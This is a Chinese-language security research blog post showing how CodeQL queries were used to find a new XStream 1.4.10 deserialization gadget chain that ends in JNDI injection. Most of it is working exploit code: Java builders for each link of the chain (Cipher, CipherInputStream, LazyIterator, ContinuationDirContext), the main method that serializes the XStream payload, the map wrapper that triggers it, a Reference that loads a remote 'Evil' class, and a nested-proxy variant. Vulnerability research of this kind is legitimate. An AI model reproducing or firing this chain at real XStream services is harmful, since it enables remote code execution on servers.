概要

本文记录我使用codeql挖掘xstream利用链的详细过程。

需要准备用于codeql分析的jdk数据库,编译jdk教程与编译好的数据库都在这:https://blog.csdn.net/mole_exp/article/details/122330521。我这里也是直接使用作者编译好的,jdk8u101。

一些要提前了解的知识点:

1、NamingManager#getContext若前3个参数可控,则可以打jndi注入,版本限制8u191。

2、codeql的path-problem路径分析。

3、xstream 反序列化利用链的入口是hashCode,触发原理是当最外层的map对象被反序列化时,key会被put进map里,从而调用key#hashCode

本文用到的codeql规则有:

1、查找所有能够到达jndi注入触发点的hashCode方法。

2、找到一个类,该类有Iterator属性,且某个方法调用了Iterator#hasNext

本次使用codeql,算是完全靠自己挖掘出链子了,有一些经验:

1、路径查找时,两条不同路径,重复的节点很多。如两条路径都有10个节点,只有其中1个节点不同,那么这两条路径都是不同的。

2、路径查找时, 判断两个节点是否通路,只通过类型判断,没有考虑当前节点能否控制下一个节点的值。(这取决于规则怎么写。

3、codeql查询结果仍然需要人工筛选。

hashCode -> jndi

一开始,查找hashCode->jndi的路径

/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources


class Source extends Method{
Source(){
this.getQualifiedName().matches("%hashCode%")
}
}
class Sink extends Method{
Sink(){
this.hasQualifiedName("com.sun.jndi.ldap", "LdapCtx", "c_lookup")
or
this.hasQualifiedName("com.sun.jndi.toolkit.ctx", "ComponentContext", "p_lookup")
or
this.hasQualifiedName("com.sun.jndi.toolkit.ctx", "PartialCompositeContext", "lookup")
or
this.hasQualifiedName("com.sun.jndi.toolkit.url", "GenericURLContext", "lookup")
or
this.hasQualifiedName("com.sun.jndi.url.ldap", "ldapURLContext", "lookup")
or
this.hasQualifiedName("javax.naming", "InitialContext", "lookup")
or
this.hasQualifiedName("com.sun.jndi.toolkit.ctx", "ComponentContext", "c_lookup")
}
}

query predicate edges(Method a, Method b) {
a.polyCalls(b)
}

from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

结果有很多,几千个,但是总结起来有这些问题:

1、路径重复的节点很多,如两条路径都有10个节点,只有其中1个节点不同,那么这两条路径都是不同的。如下:

image-20240310130012316.png

2、我上面的ql判断两个节点通不通,只通过类型判断,没有考虑当前节点能否控制下一个节点的值。

如:ObjectAdapterIdBase#hashCode,确实是调用了Iterator#hasNext

image-20240310130300024.png

看看iter从哪里获得:

image-20240310130603656.png

后面就不想继续跟了,这个值大概率是无法任意控制的。

getTargetContext -> jndi

所以再对结果人工筛选,找到这条:(注意看,结果有18页。若能写出更精细的规则就好了)

image-20240310105253631.png

getTargetContext。在这个方法里,codeql查的下一跳是ctx.lookup。但在这上面,有一个NamingManager#getContext

其实这就是一个jndi sink点,且cpe属性可完全控制。既然有了getContext,就没必要继续往下了。

image-20240310105427000.png

初步构造,打通getTargetContext -> jndi。jdk版本是能打ldap jndi的版本,也就是8u191之前。

public static Object test_getTargetContext() throws Exception{
CompositeName compositeName = new CompositeName("Foo");
Reference reference = new Reference("Evil","Evil", "http://127.0.0.1:8000/");
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("any", 10991);
RegistryContext registryContext = Util.createWithoutConstructor(RegistryContext.class);

Hashtable<Object, Object> environment = new Hashtable<>();
Util.setFieldValue(registryContext,"registry",registry);
Util.setFieldValue(registryContext,"host","any");
Util.setFieldValue(registryContext,"port",1099);
Util.setFieldValue(registryContext,"environment",environment);


Class<?> continuationDirContextClass = Class.forName("javax.naming.spi.ContinuationDirContext");
Object continuationDirContext = Util.createWithoutConstructor(continuationDirContextClass);
CannotProceedException cpe = Util.createWithoutConstructor(CannotProceedException.class);
Util.setFieldValue(cpe,"resolvedObj",reference);
Util.setFieldValue(cpe,"altName",compositeName);
Util.setFieldValue(cpe,"altNameCtx",registryContext);

Util.setFieldValue(continuationDirContext,"env",environment);
Util.setFieldValue(continuationDirContext,"cpe",cpe);

Method getTargetContext = Util.getMethod(continuationDirContextClass, "getTargetContext", new Class[]{Name.class});
getTargetContext.invoke(continuationDirContext,new CompositeName("Foo"));
return continuationDirContext;
}

通。

image-20240310131438140.png

调用栈:

image-20240310131646003.png

然后现在就要把中间的链子补充完整。

hasNext -> getTargetContext

测试 findNextMatch -> getTargetContext

public static Object test_findNextMatch() throws Exception{
Object continuationDirContext = test_getTargetContext();

LazySearchEnumerationImpl lazySearchEnumerationImpl = Util.createWithoutConstructor(LazySearchEnumerationImpl.class);
RegistryContext registryContext = Util.createWithoutConstructor(RegistryContext.class);
ContextEnumerator contextEnumerator = Util.createWithoutConstructor(ContextEnumerator.class);

Util.setFieldValue(contextEnumerator,"root",continuationDirContext);

Util.setFieldValue(lazySearchEnumerationImpl,"candidates",contextEnumerator);
return lazySearchEnumerationImpl;

}

hasNext -> findNextMatch

    public static void poc1() throws Exception{
Object o = test_findNextMatch();
LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl)o,(LazySearchEnumerationImpl)o};
CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);

Iterator lazyIterator = (Iterator)Util.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.policy.privateutil.ServiceFinder$LazyIterator"));
Util.setFieldValue(lazyIterator,"configs",objectCompoundEnumeration);
// lazyIterator.hasNext();
}

所以现在我们就有了hasNext -> jndi

lazyIterator是个Iterator,要找个任意可控Iterator的地方。

我再在上面的18页结果里找,找的都无法任意可控Iterator。

该写规则了。

hashCode -> hasNext

找到一个类,这个类有Iterator属性,且某个方法调用了Iterator#hasNext,那么这个Iterator大概率就是类属性,可以任意设置。

import java


// 找到属性中含有某种类型的类
class HasIteratorClass extends RefType{
HasIteratorClass(){
getAField().getType().getName().matches("Iterator%")
}
}

class HasNextMethodAccess extends MethodAccess{
HasNextMethodAccess(){
exists(HasIteratorClass h |
getMethod().getQualifiedName().matches("java.util.Iterator%hasNext")
and
getCaller().getDeclaringType() = h
)

}
}
class Sink extends Method{
Sink(){
exists(HasNextMethodAccess h | this = h.getCaller() )
}
}
class Source extends Method{
Source(){
this.getQualifiedName().matches("%hashCode%")
}
}

query predicate edges(Method a, Method b) {
a.polyCalls(b)
}

from Sink sink
select sink,sink.getQualifiedName()

image-20240310110132551.png

有很多,分批与hashCode求path,因为我试过若直接全部一起求,太慢了,10几分钟还出不来。

看xstearm分析文章时,对javax.crypto有印象,所以拿他开刀了。

只选javax.crypto下的类,求出路径。

其中,我在Source和edges中做了别的限制,为了加快速度,因为经过人工筛后很多结果都有这些玩意,但这些一点用都没有,不如跳过。

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources


// 找到属性中含有某种类型的类
class HasIteratorClass extends RefType{
HasIteratorClass(){
getAField().getType().getName().matches("Iterator%")
}
}

class HasNextMethodAccess extends MethodAccess{
HasNextMethodAccess(){
exists(HasIteratorClass h |
getMethod().getQualifiedName().matches("java.util.Iterator%hasNext")
and
getCaller().getDeclaringType() = h
)

}
}
class Sink extends Method{
Sink(){
exists(HasNextMethodAccess h |
this = h.getCaller()
and
this.getDeclaringType().getQualifiedName().matches("javax.crypto%")
)
}
}
class Source extends Method{
Source(){
this.getQualifiedName().matches("%hashCode%")
and
not this.getDeclaringType().getName().matches("%AbstractMap%")
and
not this.getDeclaringType().getName().matches("%AbstractSet%")
}
}

query predicate edges(Method a, Method b) {
not b.getDeclaringType().getName().matches("%ObjectAdapterIdBase%")
and
not b.getDeclaringType().getName().matches("%PrintStream%")
and
not b.getDeclaringType().getName().matches("%AbstractSet%")
and
a.polyCalls(b)
}


from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

同样需要人工筛选,最终看到这一条

image-20240310104752270.png

已知chooseFirstProvider必定能到达可控Iterator的hasNext。

补全上面的利用链,至此hashCode->hasNext这块拼图最终拼上。

序列化与反序列化

然后是序列化。xstream版本1.4.10

public static void main(String[] args) throws Exception {

Object o = test_findNextMatch();
LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl) o, (LazySearchEnumerationImpl) o};
CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);

Iterator lazyIterator = (Iterator) Util.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.policy.privateutil.ServiceFinder$LazyIterator"));
Util.setFieldValue(lazyIterator, "configs", objectCompoundEnumeration);

Cipher cipher = Util.createWithoutConstructor(Cipher.class);
CipherInputStream cipherInputStream = Util.createWithoutConstructor(CipherInputStream.class);
CipherInputStream cipherInputStream2 = Util.createWithoutConstructor(CipherInputStream.class);
Base64Data base64Data = Util.createWithoutConstructor(Base64Data.class);
DataHandler dataHandler = Util.createWithoutConstructor(DataHandler.class);
DataSource dataSource = (DataSource) Util.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"));

NativeString nativeString = Util.createWithoutConstructor(NativeString.class);

byte[] ibuffer = new byte[512];

Util.setFieldValue(cipher, "serviceIterator", lazyIterator);
Util.setFieldValue(cipher, "lock", "asddd");
Util.setFieldValue(cipher, "opmode", 1);
Util.setFieldValue(cipher, "initialized", true);
Util.setFieldValue(cipherInputStream2, "done", true);
Util.setFieldValue(cipherInputStream, "cipher", cipher);
Util.setFieldValue(cipherInputStream, "input", cipherInputStream2);
Util.setFieldValue(cipherInputStream, "ibuffer", ibuffer);
Util.setFieldValue(dataSource, "is", cipherInputStream);
Util.setFieldValue(dataHandler, "dataSource", dataSource);
Util.setFieldValue(base64Data, "dataHandler", dataHandler);
Util.setFieldValue(nativeString, "value", base64Data);

XStream xStream = new XStream(new DomDriver());

System.out.println(xStream.toXML(nativeString));
}

结果:

image-20240310135019010.png

注意直接这样反序列化是不行的,最外层必须包一个map,才会触发map#put,进而触发hashCode。

<map>
<entry>
//上面的结果复制到这里
<string>asd</string>
</entry>
</map>

image-20240310124228617.png

调用栈:

image-20240310104722077.png

究极3层动态代理

这一部分属于是番外。

自从学了Spring链,对动态代理爱不释手,所以在上面寻找可控Iterator的过程中,想到了用动态代理。

关于AnnotationInvocationHandler这个动态代理的作用:

令某个方法返回任意对象。这个对象也可以是动态代理对象,只需要实现返回值的接口即可。

https://unk.org.cn/2024/02/23/spring-unser1/#AnnotationInvocationHandler

注意jdk版本要低一些,这里使用8u66。原因也在分析spring时说明了。

测试过程发现,AnnotationInvocationHandler#invoke

image-20240310144342954.png

动态代理的hashCode方法会进入hashCodeImpl,来看看这里面有什么

image-20240310144432083.png

现成的hashCode->Iterator#hasNext

如何令返回的Iterator就是lazyIterator?

令当前proxy是proxy0,memberValues是proxy1。

proxy1的memberValue是一个map,keyValue是:entrySet -> proxy2。

proxy2的memberValue是一个map,keyValue是:Iterator-> lazyIterator。

和Spring链一模一样的配方。

public static void poc1() throws Exception{
Object o = test_findNextMatch();
LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl)o,(LazySearchEnumerationImpl)o};
CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);

Iterator lazyIterator = (Iterator)Util.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.policy.privateutil.ServiceFinder$LazyIterator"));
Util.setFieldValue(lazyIterator,"configs",objectCompoundEnumeration);

HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put("iterator",lazyIterator);
Object handler1 = Gadget.getAnnotationInvocationHandler(hashMap1);
Object o1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Set.class},(InvocationHandler) handler1);

HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put("entrySet",o1);
Object handler2 = Gadget.getAnnotationInvocationHandler(hashMap2);
Map o2 = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), HashMap.class.getInterfaces(),(InvocationHandler) handler2);


Object handler3 = Gadget.getAnnotationInvocationHandler(o2);
Object o3 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{},(InvocationHandler) handler3);

o3.hashCode();
}

序列化的结果注意也要和上面一样用map包起来。至于为什么不new一个HashMap,put进去后再序列化,因为put会触发hashCode,打通了链子,链子上一些变量被改变了,再去序列化结果就不对了。当然了,把被改变的变量手动改回去就行了,试过了,可行。